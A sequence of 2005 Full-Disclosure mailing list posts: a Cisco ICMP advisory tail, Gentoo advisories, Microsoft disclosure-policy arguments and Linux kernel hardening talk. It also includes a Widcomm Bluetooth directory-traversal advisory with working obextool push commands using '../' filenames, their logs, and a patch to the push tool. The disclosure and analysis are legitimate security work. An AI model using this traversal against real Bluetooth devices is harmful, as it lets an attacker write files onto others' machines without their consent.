out ICMP "source quench" messages on both vulnerable devices and on the
edge of your network.

Protecting Against Spoofed Packets
+---------------------------------

While considered as Network Best Practices, features like Unicast
Reverse Path Forwarding (uRPF), IP source verify, DHCP Lease Query,
Dynamic ACLs with AAA, and mini-ACLs (also with AAA) that help to
mitigate problems that are caused by spoofed IP source addresses may
be ineffective to mitigate attacks based on ICMP messages when these
ICMP packets are not spoofed. The reason for this is that attackers do
not necessarily need to spoof the source address of their packets to
exploit this vulnerability. However, if an attacker spoofs packets,
implementation of anti-spoofing mechanisms at the edge of the network
will help mitigate the attack.

For more information on anti-spoofing refer to
http://www.cisco.com/en/US/tech/tk648/tk361/technologies_tech_note09186a0080120f48.shtml#sec_ip
and RFC 2827 ("Network Ingress Filtering: Defeating Denial of Service
Attacks which employ IP Source Address Spoofing" -
http://www.ietf.org/rfc/rfc2827.txt).

The uRPF feature of IOS helps to mitigate problems that are caused by
spoofed IP source addresses. To enable uRPF, use the following commands:

    router(config)# ip cef
    router(config)# interface <interface> <interface #>
    router(config-if)# ip verify unicast reverse-path

Please consult the feature guide Unicast Reverse Path Forwarding Loose
Mode and ftp://ftp-eng.cisco.com/cons/isp/security/URPF-ISP.pdf for
further details on how uRPF works and how to configure it in various
scenarios. This is especially important if you are using asymmetric
routing.

Exploitation and Public Announcements
=====================================

The Cisco PSIRT is not aware of any malicious use of the
vulnerabilities described in this advisory. NISCC is issuing a public
notice of this industry-wide issue. We would like to thank Fernando
Gont of Argentina's Universidad Tecnologica Nacional/Facultad Regional
Haedo for reporting the ICMP Source Quench and hard error issues to us.
Mr. Gont's full research paper on ICMP blind connection-reset and
throughput-reduction attacks against TCP, including his research on the
PMTU issue can be seen at
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html.

Status of This Notice: FINAL
============================

THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY
ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTY OF
MERCHANTABILITY. YOUR USE OF THE INFORMATION ON THE ADVISORY OR
MATERIALS LINKED FROM THE ADVISORY IS AT YOUR OWN RISK. CISCO RESERVES
THE RIGHT TO CHANGE OR UPDATE THIS NOTICE AT ANY TIME.

A stand-alone copy or paraphrase of the text of this security advisory
that omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain factual
errors.

Distribution
============

This advisory will be posted on Cisco's worldwide website at
http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml

In addition to worldwide web posting, a text version of this notice is
clear-signed with the Cisco PSIRT PGP key and is posted to the following
e-mail and Usenet news recipients.

  * cust-security-announcecisco.com
  * first-teamsfirst.org (includes CERT/CC)
  * bugtraqsecurityfocus.com
  * ciscospot.colorado.edu
  * cisco-nsppuck.nether.net
  * full-disclosurelists.netsys.com
  * comp.dcom.sys.cisconewsgate.cisco.com

Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on mailing
lists or newsgroups. Users concerned about this problem are encouraged
to check the above URL for any updates.

Revision History
================

+----------------------------------------+
| Revision | | Initial |
| 1.0 | 2005-April-12 | Public |
| | | Release |
+----------------------------------------+

Cisco Security Procedures
=========================

Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and registering
to receive security information from Cisco, is available on Cisco's
worldwide website at
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html.
This includes instructions for press inquiries regarding Cisco security
notices. All Cisco security advisories are available at
http://www.cisco.com/go/psirt.
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Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Ag. System Administrator (sysadminagent.co.il)
Date: Tue Apr 12 2005 - 10:32:51 CDT


;)

Key Id on pict and on site is same. So?

Andrew Farmer wrote:
> On 12 Apr 2005, at 00:21, Ag. System Administrator wrote:
>
>> <ms_sig.jpg>
>
>
> I suppose you believe the signature on this message too, then.
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[Full-disclosure] DMA[2005-0412a] - 'Widcomm BTW (Microsoft Windows BT stack) Directory Transversal'

From: KF (lists) (kf_listsdigitalmunition.com)
Date: Wed Apr 13 2005 - 13:03:16 CDT


Typos included at no charge. =]

DMA[2005-0412a] - 'Widcomm BTW (Microsoft Windows BT stack) Directory Transversal'
Author: Kevin Finisterre
Vendor: http://66.45.42.84/Products, http://www.broadcom.com/press/release.php?id=525262
Product: 'versions older than BTW 3.0.1.905 ?'
References: http://www.digitalmunition.com/DMA[2005-0412a].txt

Description:
On August 11 2004 in Advisory Reference ptl-2004-03 Pentest Limited released very minimal
detail on security issues related to 'WIDCOMM Bluetooth Connectivity Software'. CAN-2004-0775
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0775 was created in order to
provide information surrounding this issue. Unfortunately none of the links provided by the
CVE entry contain any real data on the attacks. In efforts to document and exploit the
above mentioned issues I stumbled upon yet an other problem.

WIDCOMM Inc. which is short for Wireless Internet and Data/Voice Communications previously designed
products for indoor wireless communications. Founded in June 1998, the company was focused on
Bluetooth networking. WIDCOMM's goal was to make it secure, easy, and inexpensive for people with
PCs, cellular phones, PDAs and laptops to wirelessly link their devices and to access the Internet.

One May 10 2004 Broadcom Corporation, a leading provider of highly integrated semiconductor
solutions enabling broadband communications, announced that had completed the acquisition of WIDCOMM.

I happen to own Bluetooth dongles from Belkin, Actiontec, Linksys, Ambicom, D-link and Zoom and only
one of them came with BlueSoleil instead of Widcomm based software. I would guess that somewhere
around 90% of the PC Bluetooth hardware on the market currently comes with Widcomm install media.

The dongle that I used for testing was an Ambicom BT2000C-US on windows XP SP2. The software that
was bundled with the dongle was a variant of Widcomm's Bluetooth Software version 1.4.2. Several
other revisions are available however due to problems with licensing you may find it difficult to
make use of anything that did not specifically come packaged with your device. I even ran into an
instance in which my purchased dongle did not even work with the software it was bundled with
(Thanks D-Link!).

Several sites document the difficulties that the end user is faced with when trying to use the various
versions of the Widcomm software. Short of stating that Widcomm and Broadcomm have really done a huge
disservice to their end users, I will not go into the fiasco surrounding license.dat issues. Fixing
and or patching the vulnerabilities I am going to mention may be compounded by the fact that Widcomm
and Broadcomm's customer base is simply unable to upgrade. Widcomm has in essence shot us all in the
foot.

After an install of the Widcomm software you are presented with the 'Initial Bluetooth Configuration'
screen. Here you choose the name of your device and select the bluetooth services it will provide.
By default 'PIM Item Transfer' is set to start automatically with no authentication required. Under
normal circumstances files are dropped into "<My Documents>\Bluetooth Exchange Folder". Any device
that attempts to transfer files to or from your device should be limited to accessing this folder.

Unfortunately this is NOT the case, a simple ../ is enough to cause a little trouble. This attack can
have its limitations depending on how the software settings are configured. Using a modified obextool
binary from ussp-push we can easily demonstrate the problem.

As stated above a normal transaction should limit files to the "<My Documents>\Bluetooth Exchange Folder"

animosity:~/ussp-push-0.2# ./obextool push /etc/hosts 00:0C:41:E2:7A:EE testfile 3
Sending object ...

BtserverSpylite output:
00:32:17.995 OPP: Settings for saving objects...
00:32:18.015 vCard's: 'Save to PIM'
00:32:18.035 vCal's: 'Do not accept'
00:32:18.055 vMsg's: 'Do not accept'
00:32:18.075 vNote's: 'Do not accept'
00:32:18.095 Other: 'Save to Inbox folder'
00:32:18.115 Folder: 'C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder\'
00:32:18.135 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:32:18.155 OPP: 'testfile' saved to PIM Item Transfer Folder '...My Documents\Bluetooth Exchange Folder'

C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder>dir
 Volume in drive C has no label.
 Volume Serial Number is F888-ED9A

 Directory of C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder

07/12/2005 12:32 AM <DIR> .
07/12/2005 12:32 AM <DIR> ..
07/12/2005 12:32 AM 262 testfile
               1 File(s) 262 bytes
               2 Dir(s) 35,701,919,744 bytes free

We are however able to travel beyond the Bluetooth Exchange Folder by adding "../" to our request. Under the
default configuration this allows us to write to the root of the My Documents folder.

animosity:~/ussp-push-0.2# ./obextool push /etc/hosts 00:0C:41:E2:7A:EE ../Im_rick_james 3
Sending object ...

00:35:19.897 OPP: '../Im_rick_james' saved to PIM Item Transfer Folder '...\My Documents\Bluetooth Exchange Folder'

C:\Documents and Settings\Administrator\My Documents>dir
 Volume in drive C has no label.
 Volume Serial Number is F888-ED9A

 Directory of C:\Documents and Settings\Administrator\My Documents

07/12/2005 12:35 AM <DIR> .
07/12/2005 12:35 AM <DIR> ..
07/12/2005 12:35 AM 262 Im_rick_james
07/01/2005 08:38 PM <DIR> Bluetooth
07/12/2005 12:32 AM <DIR> Bluetooth Exchange Folder
07/01/2005 04:38 PM <DIR> My Music
06/25/2005 02:55 PM <DIR> My Pictures
06/27/2005 12:08 AM <DIR> My Virtual Machines
               1 File(s) 262 bytes
               7 Dir(s) 35,701,919,744 bytes free

Due to an unknown reason, when using the default configuration you are only able to go up one
directory. Because of this you are limited to being able to write to the My Documents folder ONLY.
his could be an XP SP2 thing. I have NOT tested this on windows 9x based software at all. In other
words your results may vary.

animosity:~/ussp-push-0.2# ./obextool push /etc/hosts 00:0C:41:E2:7A:EE ../../beiotch 3
Sending object ...
00:37:25.457 OPP: Error - Could not rename 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\../../beiotch' to
'C:\Documents and Settings\Administrator\My Documents\Bluetooth Exchange Folder\../../beiotch'

If you change the default drop directory from "<My Documents>\Bluetooth Exchange Folder" to something
else we are able to traverse a good portion of the file system. In this example we used
C:\test\test2\test3\test4 as our bluetooth drop folder.

00:57:38.471 OPP: Settings for saving objects...
00:57:38.481 vCard's: 'Save to PIM'
00:57:38.501 vCal's: 'Do not accept'
00:57:38.511 vMsg's: 'Do not accept'
00:57:38.532 vNote's: 'Do not accept'
00:57:38.542 Other: 'Save to Inbox folder'
00:57:38.562 Folder: 'C:\test\test2\test3\test4'
00:57:38.582 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:57:38.602 OPP: '../blah' saved to PIM Item Transfer Folder 'C:\test\test2\test3\test4'

00:57:38.672 GKI freeq 0 (2:4) 1 (0:1) 2 (0:0) 3 (1:12) 4 (0:46)
00:57:57.599 OPP: Settings for saving objects...
00:57:57.609 vCard's: 'Save to PIM'
00:57:57.629 vCal's: 'Do not accept'
00:57:57.649 vMsg's: 'Do not accept'
00:57:57.669 vNote's: 'Do not accept'
00:57:57.679 Other: 'Save to Inbox folder'
00:57:57.699 Folder: 'C:\test\test2\test3\test4'
00:57:57.719 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:57:57.739 OPP: '../../blah' saved to PIM Item Transfer Folder 'C:\test\test2\test3\test4'

00:58:14.243 OPP: Settings for saving objects...
00:58:14.263 vCard's: 'Save to PIM'
00:58:14.283 vCal's: 'Do not accept'
00:58:14.293 vMsg's: 'Do not accept'
00:58:14.313 vNote's: 'Do not accept'
00:58:14.333 Other: 'Save to Inbox folder'
00:58:14.343 Folder: 'C:\test\test2\test3\test4'
00:58:14.363 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:58:14.383 OPP: '../../../blah' saved to PIM Item Transfer Folder 'C:\test\test2\test3\test4'

Again for some reason we run into a minor limitation on where the files can be dropped.

00:58:29.735 OPP: Settings for saving objects...
00:58:29.755 vCard's: 'Save to PIM'
00:58:29.775 vCal's: 'Do not accept'
00:58:29.795 vMsg's: 'Do not accept'
00:58:29.815 vNote's: 'Do not accept'
00:58:29.835 Other: 'Save to Inbox folder'
00:58:29.855 Folder: 'C:\test\test2\test3\test4'
00:58:29.875 OPP: File did not contain an object. Save to Inbox as 'other' type.
00:58:29.895 OPP: Error - Could not rename 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\../../../../blah' to
'C:\test\test2\test3\test4\../../../../blah'

As you can see the bluetooth drop directory can easily be ignored by the attacker.

C:\>dir test\blah test\test2\blah test\test2\test3\blah

 Volume in drive C has no label.
 Volume Serial Number is F888-ED9A

 Directory of C:\test

07/12/2005 12:58 AM 262 blah
               1 File(s) 262 bytes

 Directory of C:\test\test2

07/12/2005 12:57 AM 262 blah
               1 File(s) 262 bytes

 Directory of C:\test\test2\test3

07/12/2005 12:57 AM 262 blah
               1 File(s) 262 bytes

I have not seen this issue documented anywhere. It was not described in the release by pentest.co.uk,
nor was it mentioned in any advisory from Widcomm or Broadcomm. I am unable to tell exactly when this
issue was introduced into the Widcomm codebase and I am equally unable to tell exactly when it was
fixed. All of the above testing was performed against PC versions of the software, it is currently
unknown how other Widcomm platforms are affected by this issue.

I have confirmed that versions 4.0.1.700 and 3.0.1.905 are NOT exploitable (for this condition). In
these versions the "../" request is replaced with "..x" thus preventing the attack.

Timeline associated with this bug:
04/12/2005 Public disclosure due to the fact that the bug was silently fixed by the vendor(s) in the past.

Regurgitated Workaround:
'...(we) recommend that end users stop using the vulnerable WIDCOMM Bluetooth software'. Alternately
users can 'set their Bluetooth device configuration to be non-discoverable or hidden.'. Please note
however 'This will not stop the device from being vulnerable but it may limit the exposure.'

Due to the fact that this issue was patched silently NO attempt was made to notify Broadcomm or Widcomm
about this issue. The issue appears to have been patched in version 3.x. Unfortunately due to licensing
issues users of this software will find it difficult to patch this vulnerability, and I found it difficult
to research which versions were and were not vulnerable. Bug your vendor to get you some updated software
and ask them to quit playing games over license.dat files!

Other vendors are affected by similar issues and future advisories will be released.

All your Bluetooth are belong to greenplaque.

-KF

-305,20 +305,21

 void cmd_push(bdaddr_t *local, int argc, char **argv)
 {
- char *filename;
+ char *filename, *malfile;
        char *alias;
        bdaddr_t bdaddr;
        uint8_t channel;
-
+
        if (argc < 3) {
                usage();
                return;
        }

        filename = argv[1];
- alias = basename(filename);
        str2ba(argv[2], &bdaddr);
- channel = (argc > 3) ? atoi(argv[3]) : 10;
+ malfile = argv[3];
+ alias = malfile;
+ channel = (argc > 4) ? atoi(argv[4]) : 3;

        btobex_push(&bdaddr, channel, filename, alias);
 }
-330,7 +331,7
        char *opt;
        char *doc;
 } command[] = {
- { "push", cmd_push, "<file> <bdaddr> [channel]", "Push a file" },
+ { "push", cmd_push, "<file> <bdaddr> <malfile> [channel] ", "Push a file" },
        { NULL, NULL, 0, 0 }
 };

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Re: [Full-disclosure] linux bugs (survival stories)?

Valdis.Kletnieksvt.edu
Date: Tue Apr 12 2005 - 13:26:34 CDT


On Tue, 12 Apr 2005 12:06:59 +0545, Bipin Gautam said:

> every to verify its types) On the other hand we have had products like
> stack guard, lib safe, grsecurity.net, se-linux

> BUT i was woundering, to what extent adding these extra security
> measures are effective against the real attacks & bugs discovered in
> the kernel.

They do almost nothing to guard against bugs discovered *in the kernel*,
because all of them are addressing *userspace* bugs.

There's pretty much *zero* you can do to protect against kernel bugs, other
than audit the code and get rid of the bugs. Remember it's basically a
monolithic kernel - that means that if a bug lets somebody get control of
the kernel, it's Game Over.

There's a reason why binary kernel modules are frowned upon - and it's precisely
that. As far as the kernel is concerned, a security bug and a buggy binary module
are the same thing - both can go scribbling on whatever kernel data structures
it wants to, and there's no real way to stop it.

If anybody wants a good kernel-auditing project, just start going through the
2.6.12-rc2 tree and look at uses of copy_from_user(), and make sure that each
use of that function then proceeds to *validate* the data (especially in the
various driver's .ioctl methods - historically a place for issues). At least
the tree seems to be a lot better with not ignoring the return value of
copy_from_user() ;)

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[Full-disclosure] MS05-021 Workaround - Block Port 25/SMTP - HAHA!

From: Danny (nocmonkeygmail.com)
Date: Tue Apr 12 2005 - 14:48:38 CDT


Good to see that Microsoft has a great sense of humour, in regards
their recently announced Security Bulletin MS05-021 - Vulnerability in
Exchange Server Could Allow Remote Code Execution (894549).

Note one of the workarounds (if you don't have time to patch):

"Use a firewall to block the port that SMTP uses. Typically, that is port 25.

Impact of Workaround:

This workaround should only be used as a last resort to help protect
you from this vulnerability. This workaround may directly affect the
ability to communicate with external parties by e-mail."

And some people wonder why I insist that all of my Microsoft servers
are inaccessible from the Internet; egress and ingress.

...D
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Re: [Full-disclosure] linux bugs (survival stories)?

From: Georgi Guninski (guninskiguninski.com)
Date: Tue Apr 12 2005 - 14:59:36 CDT


On Tue, Apr 12, 2005 at 02:26:34PM -0400, Valdis.Kletnieksvt.edu wrote:
> If anybody wants a good kernel-auditing project, just start going through the
> 2.6.12-rc2 tree and look at uses of copy_from_user(), and make sure that each
> use of that function then proceeds to *validate* the data (especially in the
> various driver's .ioctl methods - historically a place for issues). At least

like this in 2.6.11:

grep -rniI 'fuck' * | grep -iv 'fuck billg' | grep -iv 'fuck bill g' | grep
'junk'
sound/oss/opl3.c:837: * What the fuck is going on here? We leave junk in
the beginning

(the key to success being grepping for 'bill')

--
where do you want bill gates to go today?

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Re: [Full-disclosure] linux bugs (survival stories)?

From: dk (dkpwarchitects.com)
Date: Tue Apr 12 2005 - 15:24:47 CDT


Valdis.Kletnieksvt.edu wrote:
> On Tue, 12 Apr 2005 12:06:59 +0545, Bipin Gautam said:
>
>>BUT i was woundering, to what extent adding these extra security
>>measures are effective against the real attacks & bugs discovered in
>>the kernel.
>
>
> They do almost nothing to guard against bugs discovered *in the kernel*,
> because all of them are addressing *userspace* bugs.

DING DING!
Once again, Valdis hits the point(s) dead on. I am still surprised at
the number of times I get this question when the topic comes up. It
seems fairly straight forward & is usually mentioned in a project's
documentation (PaX, etc..) or forums.

--
dk
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[Full-disclosure] [ GLSA 200504-09 ] Axel: Vulnerability in HTTP redirection handling

vorlongentoo.org
Date: Tue Apr 12 2005 - 15:27:03 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200504-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Axel: Vulnerability in HTTP redirection handling
      Date: April 12, 2005
      Bugs: #88264
        ID: 200504-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A buffer overflow vulnerability has been found in Axel which could lead
to the execution of arbitrary code.

Background
==========

Axel is a console-based FTP/HTTP download accelerator.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 net-misc/axel < 1.0b >= 1.0b

Description
===========

A possible buffer overflow has been reported in the HTTP redirection
handling code in conn.c.

Impact
======

A remote attacker could exploit this vulnerability by setting up a
malicious site and enticing a user to connect to it. This could
possibly lead to the execution of arbitrary code with the permissions
of the user running Axel.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Axel users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-misc/axel-1.0b"

References
==========

  [ 1 ] CAN-2005-0390
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0390

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200504-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Georgi Guninski (guninskiguninski.com)
Date: Tue Apr 12 2005 - 15:42:41 CDT


On Mon, Apr 11, 2005 at 01:55:00PM -0400, mcbainaol.com wrote:
> They do want you to communicate with them (or vendors) in a more responsible manner but at the same time totally admit to their "PR issue" and how they have handled bug finders in the past and internal security in the past and are changing. There email in this thread is exactly the truth as it was written.
>

calculate the difference in the dates:

http://www.securityfocus.com/archive/1/395563/2005-04-09/2005-04-15/0
Microsoft MSHTA Script Execution Vulnerability

iDEFENSE Security Advisory 04.12.05
www.idefense.com/application/poi/display?id=231&type=vulnerabilities
April 12, 2005

VIII. DISCLOSURE TIMELINE

11/02/2004 Initial vendor notification
11/02/2004 Initial vendor response
04/12/2005 Coordinated public disclosure

http://www.securityfocus.com/archive/1/395562/2005-04-09/2005-04-15/0
VIII. DISCLOSURE TIMELINE

10/25/2004 Initial vendor notification
10/25/2004 Initial vendor response
04/12/2005 Coordinated public disclosure

http://www.securityfocus.com/archive/1/395559/2005-04-09/2005-04-15/0
VIII. DISCLOSURE TIMELINE

11/11/2004 Initial vendor notification
11/11/2004 Initial vendor response
04/12/2005 Coordinated public disclosure

--
where do you want bill gates to go today?
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[Full-disclosure] [gentoo-announce] [ GLSA 200504-09 ] Axel: Vulnerability in HTTP redirection handling

vorlongentoo.org
Date: Tue Apr 12 2005 - 15:27:03 CDT


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200504-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Axel: Vulnerability in HTTP redirection handling
      Date: April 12, 2005
      Bugs: #88264
        ID: 200504-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A buffer overflow vulnerability has been found in Axel which could lead
to the execution of arbitrary code.

Background
==========

Axel is a console-based FTP/HTTP download accelerator.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 net-misc/axel < 1.0b >= 1.0b

Description
===========

A possible buffer overflow has been reported in the HTTP redirection
handling code in conn.c.

Impact
======

A remote attacker could exploit this vulnerability by setting up a
malicious site and enticing a user to connect to it. This could
possibly lead to the execution of arbitrary code with the permissions
of the user running Axel.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Axel users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-misc/axel-1.0b"

References
==========

  [ 1 ] CAN-2005-0390
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0390

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200504-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

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[Full-disclosure] Details and PoC for MS05-020 MSIE DHTML Object handling vulnerabilities

From: Berend-Jan Wever (skylinededup.tudelft.nl)
Date: Tue Apr 12 2005 - 15:57:18 CDT


Details and PoC code for MSIE DHTML Object handling vulnerabilities are available online at my website:
http://www.edup.tudelft.nl/~bjwever
Note: page is not up-to-date, since it was written in August/September 2004. Additional information will be added when found during testing of MS05-20 patch.

Cheers,
SkyLined

PS. I was pretty surprised nobody asked me why I went from Internet Exploiter 1 to Internet Exploiter 3.... so now you know.

                        .-----------------------------------,
                       / Berend-Jan Wever aka SkyLined )
                      / skylinededup.tudelft.nl / \
                     / http://www.edup.tudelft.nl/~bjwever / /
                    / PGP key ID 0x48479882 / /
                   / .----. , / /
                  / ( ' / / . __ __/ / /
                 / `'-._ /.' | / / / ( / /_.'.' / / /
                ( ) / ) |/ / / / ) (__ (__/ / /
                 \-------' ------` '-----------------< /
                  \______.`\______\/\_________________\/

The information contained in this e-mail, if any, is often incorrect and
probably plagiarized. It is intended solely for the amusement of the addressee.
If you are not the intended recipient, my bad. Any action taken or omitted to
be taken in reliance on the information in this message is your problem. Please
notify me immediately if you have received it in error by reply e-mail and then
delete this message from your system and any files in it's vicinity.

I endeavour to ensure that my emails and any attachments are free from viruses,
content, value or other contaminants. However, I cannot accept any
responsibility might something worthwhile accidentally slip in. I therefore
recommend you do not read them at all just to be sure.

Please note that the statements and views expressed in this email and any
attachments are completely chosen at random by the author and do not
necessarily represent anything coherent, relevant or usefull.
_______________________________________________
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

mcbainaol.com
Date: Tue Apr 12 2005 - 16:00:46 CDT


Did you notice in my email i said they "admit" it? There is no argument here nor there.
 
The reason for this (from redmond) is they cannot break computers that are out there. There tolerance has to be even below one percent ,and even that is too much and finally conceded with them on their points. Also, they do not "patch" they find the root of the problem which adds more time. So you should be seeing less workarounds of microsoft patches.
 
This is where the market for those third party scanners are out there for 0day or need to be picked up on by AVP's (which i must say have been doing better).
 
Mike
www.michaelevanchik.com
 
 
-----Original Message-----
From: Georgi Guninski <guninskiguninski.com>
To: mcbainaol.com
Cc: tuytumadreatt.net; jasoncscience.org; full-disclosurelists.grok.org.uk
Sent: Tue, 12 Apr 2005 23:42:41 +0300
Subject: Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

On Mon, Apr 11, 2005 at 01:55:00PM -0400, mcbainaol.com wrote:
> They do want you to communicate with them (or vendors) in a more
responsible manner but at the same time totally admit to their "PR issue" and
how they have handled bug finders in the past and internal security in the past
and are changing. There email in this thread is exactly the truth as it was
written.
>

calculate the difference in the dates:

http://www.securityfocus.com/archive/1/395563/2005-04-09/2005-04-15/0
Microsoft MSHTA Script Execution Vulnerability

iDEFENSE Security Advisory 04.12.05
www.idefense.com/application/poi/display?id=231&type=vulnerabilities
April 12, 2005

VIII. DISCLOSURE TIMELINE

11/02/2004 Initial vendor notification
11/02/2004 Initial vendor response
04/12/2005 Coordinated public disclosure

http://www.securityfocus.com/archive/1/395562/2005-04-09/2005-04-15/0
VIII. DISCLOSURE TIMELINE

10/25/2004 Initial vendor notification
10/25/2004 Initial vendor response
04/12/2005 Coordinated public disclosure

http://www.securityfocus.com/archive/1/395559/2005-04-09/2005-04-15/0
VIII. DISCLOSURE TIMELINE

11/11/2004 Initial vendor notification
11/11/2004 Initial vendor response
04/12/2005 Coordinated public disclosure

--
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

Valdis.Kletnieksvt.edu
Date: Tue Apr 12 2005 - 16:11:26 CDT


On Tue, 12 Apr 2005 17:00:46 EDT, mcbainaol.com said:

> Also, they do not "patch" they find the root of the problem which adds more time.

This explains why we *never* *ever* see stuff 2 days after Patch Tuesday where
people are reporting "this slight variant still works" because Microsoft always
gets to the *root* of the problem and fixes it *right*, rather than just fixing
the one already-known manifestation....

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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Georgi Guninski (guninskiguninski.com)
Date: Tue Apr 12 2005 - 16:14:17 CDT


On Tue, Apr 12, 2005 at 05:00:46PM -0400, mcbainaol.com wrote:
>
> The reason for this (from redmond) is they cannot break computers that are out there. There tolerance has to be even below one percent ,and even that is too much and finally conceded with them on their points. Also, they do not "patch" they find the root of the problem which adds more time. So you should be seeing less workarounds of microsoft patches.
>

they are breaking computers out there all the time.

so they know their code is a mess, but want the 0day to be private to them
for 5 months so they can profit more. a nice plan.

i thought bill's trusthy computing intiative cured the "root of the
problem" or not? the m$ whores patching holes for several billions worth and
*more* exploits left?

--
where do you want bill gates to go today?
_______________________________________________
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Re: [Full-disclosure] linux bugs (survival stories)?

From: Eduardo Tongson (propolicegmail.com)
Date: Tue Apr 12 2005 - 16:20:03 CDT


> >>BUT i was woundering, to what extent adding these extra security
> >>measures are effective against the real attacks & bugs discovered in
> >>the kernel.
> >
> > They do almost nothing to guard against bugs discovered *in the kernel*,
> > because all of them are addressing *userspace* bugs.

Stuff like for example circumventing noexec flags on mounted filesystems
still is trivial even with the latest and development versions of the
linux kernel
I don't know if you could even consider it that sad.

--
                                                    Eduardo Tongson
                                                    <pornadmin.net/~tongson>
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

mcbainaol.com
Date: Tue Apr 12 2005 - 16:21:20 CDT


i guessing the *'s are sarcasm or flaming so let me respond.
 
did i say "never" …… no.
 
I personally have only been effected once _severely_ after patch Tuesday.
 
 But think about it, the testing scenarios that exist on planet earth can not possibly be even accounted for let alone tested in Redmond.
 
 
-----Original Message-----
From: Valdis.Kletnieksvt.edu
To: mcbainaol.com
Cc: guninskiguninski.com; full-disclosurelists.grok.org.uk
Sent: Tue, 12 Apr 2005 17:11:26 -0400
Subject: Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

On Tue, 12 Apr 2005 17:00:46 EDT, mcbainaol.com said:

> Also, they do not "patch" they find the root of the problem which adds more
time.

This explains why we *never* *ever* see stuff 2 days after Patch Tuesday where
people are reporting "this slight variant still works" because Microsoft always
gets to the *root* of the problem and fixes it *right*, rather than just fixing
the one already-known manifestation....

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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

mcbainaol.com
Date: Tue Apr 12 2005 - 16:28:33 CDT


I dont believe even with a staff of 100k people that one could come up with a conceivable testing environment for every possible network setup in this world, could you?
 
And yes making the disclosure private does earn Billgates more money. But thats not WHY they want it private and honestly , putting your billg flaming aside (lol) , you know thats the truth. 0day and worms which is the alternative, terrorist activity is not what they want.
 
Mike
www.michaelevanchik.com
 
 
 
-----Original Message-----
From: Georgi Guninski <guninskiguninski.com>
To: mcbainaol.com
Cc: full-disclosurelists.grok.org.uk
Sent: Wed, 13 Apr 2005 00:14:17 +0300
Subject: Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

On Tue, Apr 12, 2005 at 05:00:46PM -0400, mcbainaol.com wrote:
>
> The reason for this (from redmond) is they cannot break computers that are out
there. There tolerance has to be even below one percent ,and even that is too
much and finally conceded with them on their points. Also, they do not "patch"
they find the root of the problem which adds more time. So you should be seeing
less workarounds of microsoft patches.
>

they are breaking computers out there all the time.

so they know their code is a mess, but want the 0day to be private to them
for 5 months so they can profit more. a nice plan.

